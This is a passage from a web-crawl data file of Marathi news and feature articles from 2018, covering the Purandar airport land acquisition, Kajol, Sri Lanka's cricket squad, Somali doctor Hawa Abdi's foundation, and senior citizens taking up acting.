0.92, "bucket": "all"} {"url": "http://www.dainikprabhat.com/%E0%A4%AA%E0%A5%81%E0%A4%B0%E0%A4%82%E0%A4%A6%E0%A4%B0-%E0%A4%B5%E0%A4%BF%E0%A4%AE%E0%A4%BE%E0%A4%A8%E0%A4%A4%E0%A4%B3%E0%A4%BE%E0%A4%9A%E0%A5%8D%E0%A4%AF%E0%A4%BE-%E0%A4%9C%E0%A4%AE%E0%A4%BF%E0%A4%A8/", "date_download": "2018-09-25T16:42:31Z", "digest": "sha1:XAGFVJGSIJM5HSCS57VNA6EX64V3FIZP", "length": 8347, "nlines": 139, "source_domain": "www.dainikprabhat.com", "title": "पुरंदर विमानतळाच्या जमिनींवर लवकरच खरेदी- विक्रीच्या व्यवहारांवर बंदी | Dainik Prabhat, Marathi News Paper, Pune.", "raw_content": "\nपुरंदर विमानतळाच्या जमिनींवर लवकरच खरेदी- विक्रीच्या व्यवहारांवर बंदी\nपुणे- पुरंदर येथील आंतरराष्ट्रीय विमानतळासाठी सात गावातील 2 हजार 367 हेक्‍टर जागेचे भूसंपादन करण्यात येणार आहे. विमानतळासाठी आवश्‍यक असलेल्या जमिनींच्या खरेदी-विक्रीच्या व्यवहारांवर लवकरच बंदी घालण्यात येणार असल्याची माहिती जिल्हाधिकारी नवल किशोर राम यांनी दिली.\nराज्य शासनाने नुकतीच पुरंदर येथील आंतरराष्ट्रीय विमानतळाला शासनाने मान्यता दिली आहे. पुरंदर विमानतळासाठी भूसंपादनास मान्यता देण्याबरोबरच शासनाने वित्तीय मान्यता सुध्दा दिली आहे. विमानतळासाठी 2 हजार 367 हेक्‍टर जागेची आवश्‍यकता असून भूसंपादनासाठी शासनाने 3 हजार 513 कोटींच्या खर्चासही मंजूरी दिली आहे. त्यामुळे पुरंदर येथे विमानतळ उभारण्यावर शिक्कामोर्तब झाले आहे.\nपुरंदर तालुक्‍यातील पारगाव, खानवडी, मुंजवडी, एखतपूर, कुंभारवळण, वनपुरी आणि उदाचीवाडी या सात गावांमधीलल सुमारे 2 हजार 367 हेक्‍टर जमीनीचे संपादन करावे लागणार आहे. यासाठी अधिसूचना निघणे बाकी आहे. ही अधिसूचना मे महिना अखेर पर्यंत निघणे अपेक्षित असल्याचे जिल्हाधिकारी राम यांनी सांगितले.\nविमानतळासाठी आवश्‍यक असलेल्या जागेच्या खरेदी-विक्रीच्या व्यवहारांवर लवकरच बंदी आणण्यात येणार असल्याचे जिल्हाधिकारी राम यांनी सांगितले. विमानतळासाठी भूसंपादन करताना शेतकऱ्यांना विश्‍वासात घेण्यात येईल. विमानतळासाठीची अधिसूचना प्रसिध्द झाल्यानंतर भूसंपादनाचा मोबदला शेतकऱ्यांसमोर मांडण्यात येईल.\nताज्या बातम्यांसाठी प्रभातचे मोबाईल अॅप डाऊनलोड करा\nPrevious articleपेट्रोल-डिझेल दरवाढ कपातीसाठी जर्मन लोकांचा जालीम उपाय\nNext articleकारच्या धडकेत दाम्पत्य जखमी\n#Video : अोतूरमध्ये गणेश विसर्जन मिरवणूकीला उत्साहात सुरूवात\n#Video : राजगुरूनगरमध्ये गणेश विसर्जन मिरवणूकीला उत्साहात सुरूवात\n#Video : शिरूर – मानाचा पहिला गणपती राम मंदिर मिरवणूकीस सुरूवात; पर्यावरणपूरक गणेशोत्सव\n‘आपण अंगणवाडीचा विचार करतो तेंव्हा शरद पवारांनी कॉलेज सुरू केलेले असते’\nकॉंग्रेस, राष्ट्रवादीत जागा वाटपात होणार एकमत \nपुणे-नाशिक महामार्गावर सहा किमी “ब्लॉक’\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00292.warc.wet.gz", "language": "mr", "language_score": 0.9, "bucket": "all"} {"url": "http://www.dainikprabhat.com/%E0%A4%AC%E0%A5%89%E0%A4%B2%E0%A4%BF%E0%A4%B5%E0%A5%82%E0%A4%A1%E0%A4%AE%E0%A4%A7%E0%A5%8D%E0%A4%AF%E0%A5%87-%E0%A4%95%E0%A5%8B%E0%A4%A3%E0%A5%80%E0%A4%B9%E0%A5%80-%E0%A4%AE%E0%A5%88%E0%A4%A4%E0%A5%8D/", "date_download": "2018-09-25T16:51:26Z", "digest": "sha1:JJ4LIKDB7P7IYEI7XNIXLWCDZSYEBG2W", "length": 9319, "nlines": 140, "source_domain": "www.dainikprabhat.com", "title": "बॉलिवूडमध्ये कोणीही मैत्रीण नाही- काजोल | Dainik Prabhat, Marathi News Paper, Pune.", "raw_content": "\nबॉलिवूडमध्ये कोणीही मैत्रीण नाही- काजोल\nकाजोल सध्या “हेलिकॉप्टर ईला’या आपल्या होम प्रॉडक्‍शन सिनेमाच्या प्रमोशनमध्ये बिझी आहे. त्यात बिझी असल्याने तिला सध्या फार थोडा निवांत वेळ मिळतो आहे. नाहीतर एरवी असा निवांत वेळ कसा घालवायचा, याचा तिला प्रश्‍न पडलेला असतो.\nबॉलिवूडमध्ये तिला जवळचे मित्र-मैत्रिणी नाहीत. जे काही थोडे मित्र-मैत्रिणी आहेत. ते आपापल्या कामांमध्ये व्यस्त असतात. असाच एक जवळचा मित्र करण जोहर होता. पण त्याच्याहीही काजोलचे काही महिन्यांपूर्वी भांडण झाले होते. काही महिने ते दोघेही एकमेकांपासून दूरच राहिले होते. मात्र, आता हे भांडण मिटले आहे, असे काजोलने सांगितले. दोघेही आता पुन्हा पूर्वीसारखेच मित्र झाले आहेत. मित्रांमध्ये थोडे मतभेद व्हायलाच पाहिजेत. भांडणे झाली तरी मैत्री कायम ठेवतात, तेच खरे मित्र असतात. करण जोहर अशांपैकीच आहे. काजोल कोणत्याही मित्र किंवा मैत्रिणीबरोबर फार सोशल असत नाही. फिल्म इंडस्ट्रीतील कोणत्याही अभिनेत्रीनेही काजोलबरोबरची दोस्ती टिकवण्यासाठी विशेष प्रयत्न केल्याचे ऐकिवात नाही. बॉलिवूडमध्ये कायमचे दोस्त कोणीच असत नाही. जे कोणी असतात ते कामाच्या निमित्ताने भेटणारे असतात. काम संपले की त्या ओळखी मागे पडतात. अशाच काही जणांना काजोल खूप मानते.\nमैत्रिणींच्या बाबतीत बोलायचे तर काजोलला बॉलिवूडमधील अनेक अभिनेत्रींचे काम खूप आवडते. त्यापैकी विद्या ही तिची फेव्हरेट अभिनेत्री आहे. विद्या खूप छान आणि विनोदी स्वभावाची आहे. याशिवाय अलिया, कृती सेनन, जॅकलीन, सिद्धार्थ मल्होत्रा आणि वरुण धवन देखील तिला खूप छान वाटतात. पण या सगळ्यांबरोबर मैत्री करण्याऐवजी हे सगळे आपल्याला घाबरतात, असे तिला वाटते. थोडेसे तसे असलेही पाहिजे. कारण काजोल या सगळ्यांना सिनिअर आहे. तिच्या समवयस्कांमध्ये तिला फारच थोडे मित्र आहेत. त्यातही तिच्या फ्रेंड लीस्टमध्ये अभिनेत्रींची नावे फारच कमी किंवा अगदी नगण्य आहेत. त्यातही एखाद्या खास अभिनेत्रीला आपली खास मैत्रीण म्हणता येऊ शकेल, अशीही काही शक्‍यता नाही.\nताज्या बातम्यांसाठी प्रभातचे मोबाईल अॅप डाऊनलोड करा\nPrevious articleआशियाई स्पर्धा : टेबल टेनिस स्पर्धेत पाकिस्तानचा ५२ वर्षीय खेळाडू\nNext articleमाणुसकी शून्य रुग्णालये\nअनुप आणि जसलीनच्या नात्याला कधीच मान्यता देणार नाही: जसलीनचे वडील\n“हलाल” ने फिल्मफेअर पुरस्कारांत पटकावली आठ नामांकने\nप्रसिध्द काॅमेडियन भारती सिंहला ‘डेंग्यू’मुळे केले रूग्णालयात दाखल\nरोहित शेट्टी साकारणार शिवछत्रपतींच्या जीवनावर चित्रपट\nश्रद्धा कपूर आहे ‘या’ आजाराने त्रस्त\n#MovieReview: वास्तवाला मनोरंजक तडका : ‘बत्ती गुल, मीटर चालू’\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00292.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "https://mahasports.co.in/india-vs-sri-lanka-2017-sri-lanka-announce-squad-for-t20i-series/", "date_download": "2018-09-25T17:21:38Z", "digest": "sha1:G5Z5ULNOFCHV6QDTYIKPP6ZYENPPPMJ6", "length": 6702, "nlines": 58, "source_domain": "mahasports.co.in", "title": "भारताविरुद्ध होणाऱ्या टी२० मालिकेसाठी श्रीलंका संघाची घोषणा ! -", "raw_content": "\nभारताविरुद्ध होणाऱ्या टी२० मालिकेसाठी श्रीलंका संघाची घोषणा \nभारताविरुद्ध होणाऱ्या टी२० मालिकेसाठी श्रीलंका संघाची घोषणा \nभारत विरुद्ध श्रीलंका यांच्यातील तीन टी२० सामन्यांच्या मालिकेसाठी श्रीलंका संघाची आज घोषणा करण्यात आली आहे. अनुभवी गोलंदाज लसिथ मलिंगा आणि वेगवान गोलंदाज सुरंगा लकमल यांना संघात वेगवेगळ्या कारणामुळे संधी देण्यात आली नाही.\nश्रीलंका क्रिकेट बोर्डाने जे प्रसिद्धी पत्रक दिले आहेत त्यात मलिंगाला या मालिकेसाठी विश्रांती देण्यात आल्याचे सांगण्यात आले आहे तर रोटेशन पॉलिसीनुसार सुरंगा लकमलला संघात स्थान देण्यात आले नाही. विश्वा फर्नांडोला अजून मर्यादित षटकांच्या क्रिकेटमध्ये आजपर्यंत संधी मिळाली नव्हती परंतु या मालिकेत त्याला संधी देण्यात आली आहे.\nश्रीलंका संघ: थिसारा परेरा (कर्णधार), उपुल थरांगा, अँजेलो मॅथ्यूज, कुशल जनिथ परेरा, दनुष्का गुणातिल्का, निरोशन डिकवेलला, असेला गुणरत्ने, सदिरा समरविक्रमा, दसून शनका, चतुरंगा दे सिल्वा, सचिंत पाठीराना, अकिला धनंजया, दुश्मनथा चामीरा, नुवान प्रदीपा, नुवान प्रदीप, विश्वा फर्नांडो\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\nकर्णधारपद रोहित शर्मासाठी ठरतयं फलदायी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00292.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "https://marathi.yourstory.com/read/ec35710756/somalia-39-s-mother-teresa-dr-abid-winds-39-", "date_download": "2018-09-25T17:58:27Z", "digest": "sha1:GED2S6PWPU6U6JD2RKD3YOZCB2MXK74V", "length": 18779, "nlines": 83, "source_domain": "marathi.yourstory.com", "title": "सोमालियाच्या मदर तेरेसा ‘डॉ हावा आबिदी’", "raw_content": "\nसोमालियाच्या मदर तेरेसा ‘डॉ हावा आबिदी’\nसोमालिया म्हटले की आपल्या डोळ्यासमोर गृहयुद्ध, दुष्काळ आणि समुद्री चाचे असलेल्या देशाचे चित्र उभे रहाते. मात्र या सगळ्याबरोबरच तिथे एक अशी महिलाही आहे जी आपल्या कुटुंबासमवेत सोमालियाच्या युद्धातील शरणार्थींना आरोग्य सेवा पुरविण्याकरिता कार्यरत आहे. ही महिला म्हणजे डॉ हावा आबिदी. डॉ हावा आबिदी यांना लोकांना आरोग्य सेवा पुरविण्याच्या कार्यासाठी २०१२ मध्ये नोबेल पुरस्कारासाठी नामांकन मिळाले होते. डॉ आबिदी ‘डॉ हावा आबिदी फाऊंडेशन’च्या संस्थापिका आहेत. या संस्थेचा कारभार डॉ आबिदी आणि त्यांच्या दोन कन्या डॉ डेको आदान व डॉ अमीना आदान सांभाळतात. डॉ डेको आदान या संस्थेच्या मुख्य कार्यकारी आहेत. सध्या ‘डॉ हावा आबिदी फाऊंडेशन’ ९० हजारांहून जास्त शरणार्थींचे घर आहे. या संस्थेमध्ये २०१२ पर्यंत १०२ बहुराष्ट्रीय कर्मचारी कार्यरत होते. त्याशिवाय १५० सदस्यीय टीममध्ये स्वयंसेवक, मच्छीमार आणि शेतकरीसुद्धा सहभागी आहेत. ‘डॉ हावा आबिदी फाऊंडेशन’ने आपल्या स्थापनेपासून आतापर्यंत जवळपास २० लाख लोकांची मदत केली आहे.\nडॉ हावा आबिदींने १९८३ मध्ये ‘रुरल हेल्थ डेव्हलपमेंट फाऊंडेशन’पासून आपल्या कामाची सुरुवात केली. ही संस्था आता ‘डॉ हावा आबिदी फाऊंडेशन’ या नावाने ओळखली जाते. याची सुरुवात एका खोलीत सुरु केलेल्या एका दवाखान्यापासून झाली होती. सोप्या सोप्या उपायांनी बऱ्या होऊ शकणाऱ्या आजारांमुळे ग्रामीण भागातील अनेक महिलांचा बळी जात होता. या स्त्रीयांमध्ये डॉ आबिदींची आईसुद्धा होती. जेव्हा डॉ आबिदी १२ वर्षांच्या होत्या तेव्हाच प्रसूती संदर्भातील समस्येमुळे त्यांच्या आईचे निधन झाले. जेव्हा की योग्य औषध आणि उपचारांद्वारा ती समस्या सोडविणे फार कठीण नव्हते. आईच्या मृत्यूने त्यांना डॉक्टर बनण्यासाठी प्रेरित केले. वैद्यकीय शिक्षण पूर्ण केल्यानंतर त्या पुन्हा गावातील महिलांची सेवा करण्यासाठी परतल्या. मात्र इतर सामाजिक संस्थांप्रमाणेच डॉ आबिदी यांनाही समाजाची स्विकारार्हता मिळविण्यासाठी अनेक आव्हानांचा सामना करावा लागला. त्यांनी आपल्या संस्थेची स्थापना केली तेव्हा लोकांच्या मनात अनेक संशय होते. लोक त्यांच्याकडून उपचार करुन घ्यायला घाबरायचे. मात्र त्यांनी जसजसे एक एक करुन लोकांवर उपचार करायला सुरुवात केली तेव्हा लोकांच्या लक्षात आले की त्यांचे उपचार खरोखरच प्रभावी आहेत, लोक त्यांच्या उपचारांनी बरे होत आहेत आणि त्यानंतर हळूहळू लोकांच्या मनात त्यांच्याविषयी विश्वास निर्माण होऊ लागला. दिवसेंदिवस डॉ आबिदींवर लोकांचा विश्वास वाढू लागला आणि लोक त्यांचा आदर करु लागले. “त्यावेळी सर्वात मोठं आव्हान लोकांचा विश्वास संपादन करण्याचंच होतं. मला वाटतं माझ्या आईने लोकांच्या प्रती आदर आणि पारंपरिक चिकित्सा पद्धतीप्रती सन्मान दाखवूनच लोकांचा विश्वास संपादन केला. लोकांना नवीन चिकित्सा पद्धतीचा प्रभावशाली परिणाम दाखवूनही तिने त्या लोकांचे मन जिंकले ज्यांची ती सेवा करु इच्छित होती. याला वेळ लागतो, मात्र धैर्याने तुम्ही एक असे नाते बनविता जे विसरणं सोपं नसतं,” डॉ डेको सांगतात.\nसोमालिया संबंधित पूर्वापार चालत आलेल्या समजांना छेद देत आणि आपल्या लहानपणीच्या आठवणी जागवत डेको सांगतात, “जेव्हा मी लहान होते, मी माझ्या आईबरोबर गावोगावी जायचे आणि पट्टी बांधणे, रेकॉर्ड ठेवणे यासारख्या कामांमध्ये आईची मदत करायचे. मला ते सर्व करणं आवडायचं. कुणाची तरी मदत करणे आणि त्यानंतर त्यांच्या चेहऱ्यावर दिसणारा आनंद मला खूप आनंद द्यायचा. मोठं होता होता दुसऱ्याची मदत करणे माझा स्वभाव बनला. सोमाली लोक खूप मनापासून पाहुण्यांचं आदरातिथ्य करतात. तुम्हाला तुमच्या घरी बोलावतील, चहा देतील आणि दिवसभर तुमच्याशी गप्पा मारतील. इथे पूर्ण गाव म्हणजे एक समुदाय आहे. मी माझ्या आईबरोबर जिथे कुठे जायचे तिथे माझ्या आईचे जोरदार स्वागत झालेले मी पाहिले आहे.”\n‘डॉ हावा आबिदी फाऊंडेशन’मधील वातावरण खूप प्रगतीशील आणि तरुणांच्या विचारानुसार चालणारे आहे. डॉ हावा सोमालियातील सुरुवातीच्या काही प्रसूतीतज्ज्ञांपैकी एक. डॉ हावा त्या काळातील डॉक्टर आहेत जेव्हा महिलांना घरी राहून मुलांचा साभाळ कर असे सांगितले जायचे. “या संस्थेत जास्त ते लोक तिशीच्या आतले आहेत आणि आम्ही कोणत्याही नव्या विचाराचे स्वागत करतो. मी आणि माझी बहिण डॉ अमीना, आमचा दोघांचाही आमच्या आईच्या कार्यावर दृढ विश्वास आहे. आम्ही दोघी बहिणी तिच्या पावलावर पाऊल ठेऊनच पुढील वाटचाल करीत आहोत आणि तिचे कार्य पुढे घेऊन जात आहोत. आमच्या आईने सोमाली बंधु-भगिनींच्या सेवेत आपले सारे आयुष्य घालविले. हजारो लोकांचे आयुष्य वाचविण्यासाठीची तिची तळमळ पहात आम्ही मोठ्या झालो आणि त्यामधूनच आम्हाला तिने सुरु केलेले हे कार्य पुढे नेण्याची प्रेरणा मिळाली,” डॉ डेको अभिमानाने सांगतात. डॉ डेको पुढे सांगतात, “माझे माझ्या कामावर प्रेम आहे. आयुष्य वाचविण्याची योग्यता असल्यामुळे, मी एका आईला आपल्या मुलाला कुशीत घेताना होणारा आनंद पाहू शकते. हा आनंद खरंच अद्भूत आहे. हा तो क्षण आहे जो माझे काम सार्थकी लावतो. मला माहिती आहे की माझ्या आणि माझ्या मेडिकल टीमशिवाय या सर्वात जोखीमग्रस्त समाजाला कुठल्याही प्रकारच्या उपचारांची सुविधा मिळू शकत नाही. ३१ किमीच्या परिसरात केवळ आमचे रुग्णालयच रुग्णांना मोफत चिकित्सा सेवा प्रदान करते. दोन दशके जेव्हा गृहयुद्ध भडकले होते, फक्त मी, माझी आई आणि बहिण असे आम्ही तीन डॉक्टरच एक एक दिवस जवळपास ३०० रुग्ण तपासायचो. आपत्कालीन परिस्थितीत रुग्णांना उपचार देण्यासाठी मला अनेकदा रात्री ३ वाजता उठावं लागलेलं आहे. मात्र आम्हाला माहिती आहे की लोकांना आमची गरज आहे.” हे सांगताना त्यांचा चेहऱ्यावर समाधान दिसत होते.\nसामाजिक क्षेत्रातील उद्योजकांनी लक्षात ठेवावे असे काही मुद्दे डॉ डेको सांगतात –\n1.\tकोणीही व्यक्ती सामाजिक क्षेत्रात काही काम सुरु करु इच्छिते तेव्हा तिचे आपल्या कामावर प्रेम आणि कामाची अतिशय आवड असायला हवी. मी सल्ला देईन की तुम्ही स्थानिक पातळीवरील गरजा काय आहेत ते जाणून घ्या. त्यानंतर पहिल्यापासून काय सेवा किंवा सुविधा उपलब्ध आहेत ते जाणून घ्या. त्यानंतर नेमकं काय काम करण्याची गरज आहे ते समजून घ्या. इतर अनेक संस्था आधीपासूनच खूप चांगले काम करत असतील तर त्या संदर्भातील नव्या संस्थेला शून्यातून काम करण्याची आवश्यकता नाही. किंबहुना त्याविषयी आधीपासूनच कार्यरत असलेल्या संस्थेच्या कार्यात सहयोग करणे अधिक चांगले होईल.\n2.\tदुसरं म्हणजे तुम्ही स्थानिक लोकांचा सन्मान करणं आवश्यक असतं. तुम्ही ज्यांची सेवा करु इच्छिता ते अत्यंत समजूतदार लोक असतात. आम्ही ज्या सुविधा देतो त्या घेण्यासाठी महिला आणि मुलं दूरवरुन चालत येतात. ते सर्वात काटक लोक असतात. मी अशा लोकांना भेटले आहे जे सर्वात कठीण प्रसंगीसुद्धा खंबीरपणे उभे होते.\n3.\tशेवटचं म्हणजे, तुमचा दृष्टीकोन लवचिक असला पाहिजे. प्रत्येक वेळी नवीन विचार सुचत असतात आणि जुन्या विचारांना नाकारलं जातं. तुम्ही नवीन पद्धती आणि स्थितीचे स्वागत करायला हवे, त्यासाठी लवचिक असायला हवे. आज आपण ज्या जगात रहातो आहोत तिथे तंत्रज्ञान झपाट्याने विकसित होत आहे आणि विचार सीमेपलिकडे पोहचत आहेत. हे सुद्धा एक प्रकारचे आव्हान आहे, मात्र ही एक संधी सुद्धा आहे, ज्यामुळे तुम्हाला तुमचे कार्य अधिक चांगल्या पद्धतीने करण्यामध्ये मदत मिळू शकते.\nलेखक : आदित्य भूषण द्विवेदी\nअनुवाद : अनुज्ञा निकम\nया तरुणी जागरूकता निर्माण करण्यासाठी गरीब महिलांना मोफत सॅनिटरी नॅपकिन्सचे वाटप करतात \nचेह-यात काही नसते, जयप्रकाशने अनेक अडचणी असूनही त्याच्या लहानपणीच्या मैत्रिणीशीच केले लग्न\nबंगळुरूच्या या दंतचिकित्सकाने भारताच्या वतीने ‘मिस व्हिलचेअर वर्ल्ड २०१७’ साठी नामांकन दाखल केले आहे\n. . . . . आणि एक अभागी 'वसईकर' पासवाला\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00292.warc.wet.gz", "language": "mr", "language_score": 1.0, "bucket": "all"} {"url": "http://www.saamana.com/anyone-can-do-his-or-her-activity/", "date_download": "2018-09-25T17:26:05Z", "digest": "sha1:B6T7AG3CQEGICCLCN5JUMTWLCMTUYGA6", "length": 22557, "nlines": 266, "source_domain": "www.saamana.com", "title": "आवडीला वयाचे बंधन नसते | Saamana (सामना)", "raw_content": "\n– सिनेमा / नाटक\n तुमच्या खात्यात लॉग इन करा\nपरवलीचा शब्द परत मिळवा\nपरवलीचा शब्द तुम्हाला पाठविला जाईल\nनगर जिल्हा हादरला; एमएमएस बनवून महिलेवर 3 वर्ष अत्याचार, चौघांवर गुन्हा…\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\nमुकेश अंबानी दिवसाला कमावतात 300 कोटी रुपये\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nरॉबर्ट वडेरांचा तुरुंगवास पक्का, भाजपचा काँग्रेसवर पलटवार\nराखी सावंतची आचरट इच्छा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nसंयुक्त राष्ट्राच्या बैठकीत ‘ही’ ठरली सर्वात छोटी पाहुणी, रचला इतिहास\nमालदीव राष्ट्राध्यक्ष निवडणुकीत इब्राहिम विजयी; चीनधार्जिणे यामीन पराभूत\nजपानने उल्केवर रोवर उतरवला\nपाकिस्तानात ‘सैराट-2’, प्रियकर-प्रेयसीचे वडिलांनी मुंडके उडवले\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\nIND VS AFG LIVE : हिंदुस्थानला दुसरा धक्का\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nक्रिकेट हा कर्णधाराचा खेळ, प्रशिक्षकाचा नव्हे ; सौरभ गांगुलीचा शास्त्रींवर निशाणा\nआजचा अग्रलेख : गोव्यात बाजारबुणगे\nनिदर्शकांकडून एसटीची हानी : काही प्रश्न\nरोखठोक : पोस्टर बॉय काय करतोय\n– सिनेमा / नाटक\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nश्रद्धा कपूर साकारणार ‘फुलराणी’ पाहा फोटो\nतर्राट अभिनेता रिक्षाला गाडी ठोकून पळाला, गणपती बाप्पानं पकडून दिला\nदिग्दर्शिका कल्पना लाजमी अनंतात विलीन\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nगोड खाल्ल्यानेच नाही तर प्रदूषणामुळेही होतोय मधुमेह\nन्यायालयाचा अजब निर्णय; कोंबड्याने दिलं अंडं, सुनावली जिवंत जाळण्याची शिक्षा\nहा पिझ्झा राहू शकतो तीन वर्षं ताजा\nमधुचंद्राच्या रात्री पत्नीची अजब मागणी ऐकून पतीला फुटला घाम\nमोठ्या मुलीच्या फोटोत छोट्या मुलीचा जन्मापूर्वीच फोटो, रहस्य उलगडता उलगडेना\nमहिलांकडून आंघोळ घालून घेण्यासाठी तरुणाचा गतिमंद असल्याचा बनाव\nरोखठोक : पोस्टर बॉय काय करतोय\nआवडीला वयाचे बंधन नसते\nज्येष्ठपण म्हणजे नव्याने आयुष्य भरभरून जगायचं. सगळय़ा जबाबदाऱ्या पार पाडल्यात. मग आता राहून गेलेली अभिनयाची आवड पूर्ण करा.\nलहानपणी नाटकात काम केलेले… त्यानंतर अभिनयाची आवड असूनही कधी रंगभूमीची पायरी चढली गेली नाही. शिक्षण, नोकरी, सांसारिक जबाबदाऱया यात स्वतःच्या आवडीनिवडींकडे, छंदांकडे कधी लक्षच दिले नाही. किंबहुना देता आले नाही. आता थोडे निवांतपण आले. मुलं मार्गी लागली. आर्थिक स्थैर्य आले… आणि मुख्य म्हणजे हाती भरपूर वेळ उरू लागला. चला मग या निवांतपणाचा सदुपयोग करूया. राहून गेलेले छंद पूर्ण करूया.\nरमा श्रीनिवासन… गेल्या तीन चार वर्षांत जाहिरात विश्वात गाजलेलं नाव… वय वर्ष ६४. तीनेक वर्षांपूर्वीच त्या शिक्षकी पेशातून निवृत्त झाल्या. दुबईत त्या शिक्षिका म्हणून काम करत होत्या. निवृत्तीनंतर त्या बंगळुरूला परतल्या. पतीसोबत शांतपणे उर्वरीत आयुष्य जगू असं त्यांनी ठरवलं होतं. पण येथे त्यांच्या नशिबात नेमकं काय काढून ठेवलं होतं त्याची साधी कल्पनाही त्यांना नव्हती. बंगळुरूला त्यांच्या जावयाच्या मित्राने त्यांना जाहिरातीत काम करायची ऑफर दिली. दोनच सीन्स होते. पण आत्ता… साठी पार केल्यावर मॉडेलिंग… छे… असा विचार त्यांच्या मनात आलाही… पण मुळातच आलेल्या परिस्थितीला सामोरं जाण्याची त्यांची वृत्ती… त्यांनी बेधडक ते काम स्वीकारलं.\nयाबाबत आठवण सांगताना रमा श्रीनिवासन म्हणाल्या, आतापर्यंत फोटोसाठी उभी राहिले होते, पण जाहिरातीसाठी कॅमेरा सुरू झाला आणि माझ्या तोंडून शब्दच फुटेना… गप्प एकदम… जाहिरात लग्न जुळवणाऱ्या एका वेबसाईटची होती. मी त्यात मुलीची आई म्हणून दिसणार होते. समोर कॅमेरा… लख्ख प्रकाश… आजूबाजूला २५-३० माणसं… सगळ्यांचं लक्ष माझ्याकडे… काय प्रसंग होता… आता आठवलं तरी हसू येतं. येथे एक बरं असतं… तुम्हाला वयानुसारच रोल करायला मिळतात.\nनिवृत्तीनंतर नुसतं बसून राहण्यापेक्षा आता अनेक ज्येष्ठ नागरीक वेगवेगळे पर्याय शोधायला लागले आहेत. ऍक्टींग हाही त्यातलाच एक पर्याय ठरू पाहतोय. आयुष्यभर दुसरे काम करताना मनात अभिनेता होण्याचं अपूर्ण राहिलेलं काम निवृत्तीनंतर काहीजण मनमुराद पूर्ण करून घेत आहेत. पण काहीजणांना अजूनही ते शक्य होत नाहीय… का… तर ऑक्टिंग करायची हे ठरकलं, पण नेमकं काय करायचं कुणाला भेटायचं हे प्रश्न त्यांच्यापुढे असतात. पण खास आजी-आजोबांच्या भूमिका त्यांना सहज मिळू शकतात. उन्हाळ्यात अनेक अभिनय शिबिरं सुरू होतात. त्यात ज्येष्ठांनीही भाग घेऊन अभिनयाची आपली आकड जोपासली तर काय हरकत आहे\nयेथे संपर्क साधू शकता\nशानू शर्मा – रणवीर सिंह, परिणीती चोप्रा, अर्जुन कपूर, स्वरा भास्कर, भूमी पेडणेकर यांना बॉलीवूडमध्ये आणण्यात या शानू शर्मांचा हात आहे. यशराज बॅनरमध्ये त्या कास्टिंग डायरेक्टर म्हणून काम करतात. ‘धूम-३’, ‘जब तक है जान’, ‘एक था टायगर’, ‘माय नेम इज खान’, ‘बॅण्ड बाजा बारात’ या सिनेमांचे कास्टिंग त्यांनी केलं आहे. संपर्क : [email protected]\nमुकेश छाबरा – राजकुमार राव, सुशांतसिंह राजपूत आणि अमित साध या अभिनेत्यांना बॉलीवूडमध्ये आणण्याचे काम मुकेश छाबरा यांनी केलंय. ‘गँग्स ऑफ वासेपूर’मुळे ते प्रसिद्ध झाले. त्यानंतर आमीर खानच्या ‘दंगल’ या सिनेमाचे कास्टिंगही त्यांनीच केलं आहे. संपर्क : [email protected]\nश्रुती महाजन – 